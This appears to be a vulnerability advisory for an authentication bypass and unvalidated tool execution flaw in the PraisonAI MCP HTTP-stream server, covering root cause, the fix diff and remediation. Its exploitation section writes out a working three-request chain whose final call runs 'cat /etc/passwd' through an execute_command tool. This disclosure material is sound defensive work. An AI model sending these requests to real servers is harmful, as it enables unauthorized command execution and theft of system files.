CVE-2026-61427: Authentication Bypass and Unvalidated Tool Execution in PraisonAI MCP HTTP-Stream Server

The Model Context Protocol (MCP) is an architectural standard designed to connect Large Language Models (LLMs) securely to external data repositories and execution tools. PraisonAI implements this protocol using a Server-Sent Events (SSE) server to manage downstream traffic and standard HTTP POST endpoints for receiving client requests.

Prior to version 4.6.78, the PraisonAI MCP HTTP-stream integration exposed critical interfaces without authentication by default. If an administrator failed to specify an API key, the authorization block was omitted from execution entirely. This design decision exposed a broad attack surface, allowing anyone with access to the server port to interact with underlying tools.

This flaw becomes highly critical when operators bind the MCP server to non-loopback network interfaces, such as 0.0.0.0. This configuration enables unauthenticated remote clients to fully enumerate capabilities and trigger python execution routines.

The primary root cause lies within src/praisonai/praisonai/mcp_server/transports/http_stream.py. Inside the endpoint logic, authentication is conditionally validated based on the existence of a configured API key. If the command-line execution parameter --api-key is not supplied, self.api_key defaults to None, bypassing the authorization check.

# Conditional check allowing execution without authorization headers
if self.api_key is not None:
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return HTTP_401_UNAUTHORIZED

A secondary root cause is improper input validation during parameter parsing. The MCP message dispatcher accepts arguments for tools/call requests and passes them directly into Python tool handlers. The dispatcher completely skips schema matching (inputSchema), rendering structural parameters unvalidated.

To remediate the vulnerability, the initialization sequence of the HttpStreamTransport class was modified in commit 393de394087e3badc79acfec490323bcc99638bd. Developers introduced a strict verification check that halts execution if the server is exposed externally without an active API key configuration.

diff --git a/src/praisonai/praisonai/mcp_server/transports/http_stream.py b/src/praisonai/praisonai/mcp_server/transports/http_stream.py
--- a/src/praisonai/praisonai/mcp_server/transports/http_stream.py
+++ b/src/praisonai/praisonai/mcp_server/transports/http_stream.py
@@ -109,6 +109,11 @@ def __init__(
         else:
             self.allowed_origins = allowed_origins
+
+        # Verify that an api_key is configured when binding externally
+        if host not in ("127.0.0.1", "localhost", "::1") and not self.api_key:
+            raise ValueError(
+                "api_key is required when MCP HTTP-stream binds to a non-localhost address"
+            )

While this fix prevents network-level exploitation of default configurations, it does not mandate authentication for servers bound to localhost (127.0.0.1). If a local attacker, or a remote adversary leveraging Cross-Origin Resource Sharing (CORS) bypasses, interacts with the local port, unauthenticated tool execution remains possible.

Exploiting this flaw requires three sequential protocol steps: establishing an SSE stream, retrieving the schema structure of target tools, and dispatching a payload containing the execution request.

First, the attacker opens a persistent downstream channel to receive event notifications:

GET /sse HTTP/1.1
Host: target-ip:8000
Accept: text/event-stream

After retrieving a valid session identifier, the attacker lists available capabilities using the tools/list JSON-RPC method. This request is completed without any authorization parameters:

POST /message?session_id=attacker-session-123 HTTP/1.1
Host: target-ip:8000
Content-Type: application/json
 
{
  "jsonrpc": "2.0",
  "method": "tools/list",
  "id": 1
}

Finally, the attacker invokes an administrative tool (such as local command execution utilities) by targeting tools/call. Because parameter schemas are not validated, arbitrary command arguments are executed directly by the runtime environment:

POST /message?session_id=attacker-session-123 HTTP/1.1
Host: target-ip:8000
Content-Type: application/json
 
{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "execute_command",
    "arguments": {
      "command": "cat /etc/passwd"
    }
  },
  "id": 2
}

System administrators must immediately upgrade PraisonAI to version 4.6.78 or later to restrict unauthenticated external bindings. Deployments using older versions must configure an API key on the command line interface.

pip install --upgrade praisonai

If upgrading is delayed, configure firewall filtering rules to restrict port 8000 (or the configured MCP port) strictly to loopback interfaces. This prevents external hosts from accessing endpoints directly:

iptables -A INPUT -p tcp -s 127.0.0.1 --dport 8000 -j ACCEPT
iptables -A INPUT -p tcp --dport 8000 -j DROP

Additionally, always launch services with explicit, randomly generated API keys rather than relying on default framework configurations:

praisonai mcp serve --transport http-stream --api-key "$(openssl rand -hex 32)" --host 0.0.0.0